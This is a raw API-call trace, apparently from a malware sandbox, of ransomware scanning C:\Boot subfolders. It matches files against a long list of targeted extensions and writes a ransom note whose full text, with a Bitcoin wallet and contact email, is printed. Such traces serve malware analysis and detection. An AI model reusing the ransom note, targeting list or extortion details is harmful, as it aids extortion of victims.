PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.zip") returned 0 [0057.368] lstrlenA (lpString="*.zip") returned 5 [0057.368] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.html") returned 0 [0057.368] lstrlenA (lpString="*.html") returned 6 [0057.368] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.htm") returned 0 [0057.368] lstrlenA (lpString="*.htm") returned 5 [0057.368] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.xlsx") returned 0 [0057.368] lstrlenA (lpString="*.xlsx") returned 6 [0057.368] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.xls") returned 0 [0057.368] lstrlenA (lpString="*.xls") returned 5 [0057.368] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.mp4") returned 0 [0057.368] lstrlenA (lpString="*.mp4") returned 5 [0057.368] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.ppt") returned 0 [0057.368] lstrlenA (lpString="*.ppt") returned 5 [0057.368] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.pptx") returned 0 [0057.368] lstrlenA (lpString="*.pptx") returned 6 [0057.368] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.doc") returned 0 [0057.368] lstrlenA (lpString="*.doc") returned 5 [0057.368] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.dot") returned 0 [0057.368] lstrlenA (lpString="*.dot") returned 5 [0057.368] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.docx") returned 0 [0057.368] lstrlenA (lpString="*.docx") returned 6 [0057.369] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.7z") returned 0 [0057.369] lstrlenA (lpString="*.7z") returned 4 [0057.369] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.tar") returned 0 [0057.369] lstrlenA (lpString="*.tar") returned 5 [0057.369] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.bz2") returned 0 [0057.369] lstrlenA (lpString="*.bz2") returned 5 [0057.369] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.gz") returned 0 [0057.369] lstrlenA (lpString="*.gz") returned 4 [0057.369] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.mkv") returned 0 [0057.369] lstrlenA (lpString="*.mkv") returned 5 [0057.369] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.369] lstrlenA (lpString="*.eml") returned 5 [0057.369] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.msg") returned 0 [0057.369] lstrlenA (lpString="*.msg") returned 5 [0057.369] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.edb") returned 0 [0057.369] lstrlenA (lpString="*.edb") returned 5 [0057.369] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.accdb") returned 0 [0057.369] lstrlenA (lpString="*.accdb") returned 7 [0057.369] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.odb") returned 0 [0057.369] lstrlenA (lpString="*.odb") returned 5 [0057.369] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.java") returned 0 [0057.369] lstrlenA (lpString="*.java") returned 6 [0057.369] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.asm") returned 0 [0057.369] lstrlenA (lpString="*.asm") returned 5 [0057.369] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.pfx") returned 0 [0057.369] lstrlenA (lpString="*.pfx") returned 5 [0057.369] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.pem") returned 0 [0057.369] lstrlenA (lpString="*.pem") returned 5 [0057.369] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.p12") returned 0 [0057.369] lstrlenA (lpString="*.p12") returned 5 [0057.369] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.gpg") returned 0 [0057.369] lstrlenA (lpString="*.gpg") returned 5 [0057.369] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.vsd") returned 0 [0057.370] lstrlenA (lpString="*.vsd") returned 5 [0057.370] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.odg") returned 0 [0057.370] lstrlenA (lpString="*.odg") returned 5 [0057.370] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.raw") returned 0 [0057.370] lstrlenA (lpString="*.raw") returned 5 [0057.370] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.nef") returned 0 [0057.370] lstrlenA (lpString="*.nef") returned 5 [0057.370] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.svg") returned 0 [0057.370] lstrlenA (lpString="*.svg") returned 5 [0057.370] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.psd") returned 0 [0057.370] lstrlenA (lpString="*.psd") returned 5 [0057.370] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.vmx") returned 0 [0057.370] lstrlenA (lpString="*.vmx") returned 5 [0057.370] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.vmdk") returned 0 [0057.370] lstrlenA (lpString="*.vmdk") returned 6 [0057.370] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.vdi") returned 0 [0057.370] lstrlenA (lpString="*.vdi") returned 5 [0057.370] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.lay6") returned 0 [0057.370] lstrlenA (lpString="*.lay6") returned 6 [0057.370] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.mpeg") returned 0 [0057.370] lstrlenA (lpString="*.mpeg") returned 6 [0057.370] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.djvu") returned 0 [0057.370] lstrlenA (lpString="*.djvu") returned 6 [0057.370] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.tiff") returned 0 [0057.370] lstrlenA (lpString="*.tiff") returned 6 [0057.370] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.backup") returned 0 [0057.370] lstrlenA (lpString="*.backup") returned 8 [0057.370] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.pdf") returned 0 [0057.370] lstrlenA (lpString="*.pdf") returned 5 [0057.370] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.cert") returned 0 [0057.370] lstrlenA (lpString="*.cert") returned 6 [0057.370] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.docm") returned 0 [0057.371] lstrlenA (lpString="*.docm") returned 6 [0057.371] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.xlsm") returned 0 [0057.371] lstrlenA (lpString="*.xlsm") returned 6 [0057.371] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.dwg") returned 0 [0057.371] lstrlenA (lpString="*.dwg") returned 5 [0057.371] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.nd") returned 0 [0057.371] lstrlenA (lpString="*.nd") returned 4 [0057.371] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.tlg") returned 0 [0057.371] lstrlenA (lpString="*.tlg") returned 5 [0057.371] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.lgb") returned 0 [0057.371] lstrlenA (lpString="*.lgb") returned 5 [0057.371] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.mov") returned 0 [0057.371] lstrlenA (lpString="*.mov") returned 5 [0057.371] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.xdw") returned 0 [0057.371] lstrlenA (lpString="*.xdw") returned 5 [0057.371] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.ods") returned 0 [0057.371] lstrlenA (lpString="*.ods") returned 5 [0057.371] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.wav") returned 0 [0057.371] lstrlenA (lpString="*.wav") returned 5 [0057.371] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.mp3") returned 0 [0057.371] lstrlenA (lpString="*.mp3") returned 5 [0057.371] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.aiff") returned 0 [0057.371] lstrlenA (lpString="*.aiff") returned 6 [0057.371] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.flac") returned 0 [0057.371] lstrlenA (lpString="*.flac") returned 6 [0057.371] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.m4a") returned 0 [0057.371] lstrlenA (lpString="*.m4a") returned 5 [0057.371] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.csv") returned 0 [0057.371] lstrlenA (lpString="*.csv") returned 5 [0057.372] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0057.372] FindClose (in: hFindFile=0x4f7098 | out: hFindFile=0x4f7098) returned 1 [0057.372] FindNextFileA (in: hFindFile=0x4f6020, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0057.372] lstrcmpA (lpString1=".", lpString2="pt-BR") returned -1 [0057.372] lstrcmpA (lpString1="..", lpString2="pt-BR") returned -1 [0057.372] PathFindFileNameA (pszPath="C:\\Boot\\*.*") returned="*.*" [0057.372] lstrcatA (in: lpString1="C:\\Boot\\", lpString2="pt-BR" | out: lpString1="C:\\Boot\\pt-BR") returned="C:\\Boot\\pt-BR" [0057.372] lstrlenA (lpString="C:\\Boot\\pt-BR") returned 13 [0057.372] FindFirstFileA (in: lpFileName="C:\\Boot\\pt-BR\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8360, cFileName=".", cAlternateFileName="")) returned 0x4f7098 [0057.373] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.373] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0057.373] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.373] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.373] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.374] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0057.374] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.374] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.374] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0057.374] PathFindFileNameA (pszPath="C:\\Boot\\pt-BR\\*.*") returned="*.*" [0057.374] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Boot\\pt-BR\\" | out: lpString1="C:\\Boot\\pt-BR\\") returned="C:\\Boot\\pt-BR\\" [0057.374] PathAddBackslashA (in: pszPath="C:\\Boot\\pt-BR\\" | out: pszPath="C:\\Boot\\pt-BR\\") returned="" [0057.374] lstrcatA (in: lpString1="C:\\Boot\\pt-BR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Boot\\pt-BR\\HOW TO DECRYPT FILES.txt") returned="C:\\Boot\\pt-BR\\HOW TO DECRYPT FILES.txt" [0057.374] GetFileAttributesA (lpFileName="C:\\Boot\\pt-BR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\pt-br\\how to decrypt files.txt")) returned 0xffffffff [0057.374] CreateFileA (lpFileName="C:\\Boot\\pt-BR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\pt-br\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x84 [0057.374] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0057.374] WriteFile (in: hFile=0x84, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0057.376] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.376] CloseHandle (hObject=0x84) returned 1 [0057.376] lstrcatA (in: lpString1="C:\\Boot\\pt-BR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned="C:\\Boot\\pt-BR\\bootmgr.exe.mui" [0057.376] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.ems") returned 0 [0057.376] lstrlenA (lpString="*.ems") returned 5 [0057.376] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.db") returned 0 [0057.376] lstrlenA (lpString="*.db") returned 4 [0057.376] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.dbf") returned 0 [0057.376] lstrlenA (lpString="*.dbf") returned 5 [0057.377] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.myox") returned 0 [0057.377] lstrlenA (lpString="*.myox") returned 6 [0057.377] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.myo") returned 0 [0057.377] lstrlenA (lpString="*.myo") returned 5 [0057.377] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.qbw") returned 0 [0057.377] lstrlenA (lpString="*.qbw") returned 5 [0057.377] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.qbb") returned 0 [0057.377] lstrlenA (lpString="*.qbb") returned 5 [0057.377] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.qbm") returned 0 [0057.377] lstrlenA (lpString="*.qbm") returned 5 [0057.377] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.qbo") returned 0 [0057.377] lstrlenA (lpString="*.qbo") returned 5 [0057.377] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.qbx") returned 0 [0057.377] lstrlenA (lpString="*.qbx") returned 5 [0057.377] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.qba") returned 0 [0057.377] lstrlenA (lpString="*.qba") returned 5 [0057.377] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.qby") returned 0 [0057.377] lstrlenA (lpString="*.qby") returned 5 [0057.377] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.qbj") returned 0 [0057.377] lstrlenA (lpString="*.qbj") returned 5 [0057.377] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.ofx") returned 0 [0057.377] lstrlenA (lpString="*.ofx") returned 5 [0057.377] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.qif") returned 0 [0057.377] lstrlenA (lpString="*.qif") returned 5 [0057.377] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.mye") returned 0 [0057.377] lstrlenA (lpString="*.mye") returned 5 [0057.377] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.mbox") returned 0 [0057.377] lstrlenA (lpString="*.mbox") returned 6 [0057.377] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.377] lstrlenA (lpString="*.eml") returned 5 [0057.377] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.pst") returned 0 [0057.377] lstrlenA (lpString="*.pst") returned 5 [0057.378] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.ost") returned 0 [0057.378] lstrlenA (lpString="*.ost") returned 5 [0057.378] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.idx") returned 0 [0057.378] lstrlenA (lpString="*.idx") returned 5 [0057.378] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.dbx") returned 0 [0057.378] lstrlenA (lpString="*.dbx") returned 5 [0057.378] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.sql") returned 0 [0057.378] lstrlenA (lpString="*.sql") returned 5 [0057.378] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.mdb") returned 0 [0057.378] lstrlenA (lpString="*.mdb") returned 5 [0057.378] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.fdb") returned 0 [0057.378] lstrlenA (lpString="*.fdb") returned 5 [0057.378] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.wab") returned 0 [0057.378] lstrlenA (lpString="*.wab") returned 5 [0057.378] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.dat") returned 0 [0057.378] lstrlenA (lpString="*.dat") returned 5 [0057.378] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.txt") returned 0 [0057.378] lstrlenA (lpString="*.txt") returned 5 [0057.378] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.jpeg") returned 0 [0057.378] lstrlenA (lpString="*.jpeg") returned 6 [0057.378] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.jpg") returned 0 [0057.378] lstrlenA (lpString="*.jpg") returned 5 [0057.378] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.png") returned 0 [0057.378] lstrlenA (lpString="*.png") returned 5 [0057.378] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.php") returned 0 [0057.378] lstrlenA (lpString="*.php") returned 5 [0057.378] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.cs") returned 0 [0057.378] lstrlenA (lpString="*.cs") returned 4 [0057.378] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.cpp") returned 0 [0057.378] lstrlenA (lpString="*.cpp") returned 5 [0057.378] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.rar") returned 0 [0057.378] lstrlenA (lpString="*.rar") returned 5 [0057.378] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.zip") returned 0 [0057.378] lstrlenA (lpString="*.zip") returned 5 [0057.379] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.html") returned 0 [0057.379] lstrlenA (lpString="*.html") returned 6 [0057.379] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.htm") returned 0 [0057.379] lstrlenA (lpString="*.htm") returned 5 [0057.379] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.xlsx") returned 0 [0057.379] lstrlenA (lpString="*.xlsx") returned 6 [0057.379] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.xls") returned 0 [0057.379] lstrlenA (lpString="*.xls") returned 5 [0057.379] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.mp4") returned 0 [0057.379] lstrlenA (lpString="*.mp4") returned 5 [0057.379] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.ppt") returned 0 [0057.379] lstrlenA (lpString="*.ppt") returned 5 [0057.379] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.pptx") returned 0 [0057.379] lstrlenA (lpString="*.pptx") returned 6 [0057.379] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.doc") returned 0 [0057.379] lstrlenA (lpString="*.doc") returned 5 [0057.379] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.dot") returned 0 [0057.379] lstrlenA (lpString="*.dot") returned 5 [0057.379] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.docx") returned 0 [0057.379] lstrlenA (lpString="*.docx") returned 6 [0057.379] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.7z") returned 0 [0057.379] lstrlenA (lpString="*.7z") returned 4 [0057.379] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.tar") returned 0 [0057.379] lstrlenA (lpString="*.tar") returned 5 [0057.379] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.bz2") returned 0 [0057.379] lstrlenA (lpString="*.bz2") returned 5 [0057.379] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.gz") returned 0 [0057.379] lstrlenA (lpString="*.gz") returned 4 [0057.379] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.mkv") returned 0 [0057.379] lstrlenA (lpString="*.mkv") returned 5 [0057.379] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.379] lstrlenA (lpString="*.eml") returned 5 [0057.379] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.msg") returned 0 [0057.380] lstrlenA (lpString="*.msg") returned 5 [0057.380] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.edb") returned 0 [0057.380] lstrlenA (lpString="*.edb") returned 5 [0057.380] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.accdb") returned 0 [0057.380] lstrlenA (lpString="*.accdb") returned 7 [0057.380] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.odb") returned 0 [0057.380] lstrlenA (lpString="*.odb") returned 5 [0057.380] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.java") returned 0 [0057.380] lstrlenA (lpString="*.java") returned 6 [0057.380] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.asm") returned 0 [0057.380] lstrlenA (lpString="*.asm") returned 5 [0057.380] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.pfx") returned 0 [0057.380] lstrlenA (lpString="*.pfx") returned 5 [0057.380] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.pem") returned 0 [0057.380] lstrlenA (lpString="*.pem") returned 5 [0057.380] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.p12") returned 0 [0057.380] lstrlenA (lpString="*.p12") returned 5 [0057.380] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.gpg") returned 0 [0057.380] lstrlenA (lpString="*.gpg") returned 5 [0057.380] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.vsd") returned 0 [0057.380] lstrlenA (lpString="*.vsd") returned 5 [0057.380] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.odg") returned 0 [0057.380] lstrlenA (lpString="*.odg") returned 5 [0057.380] 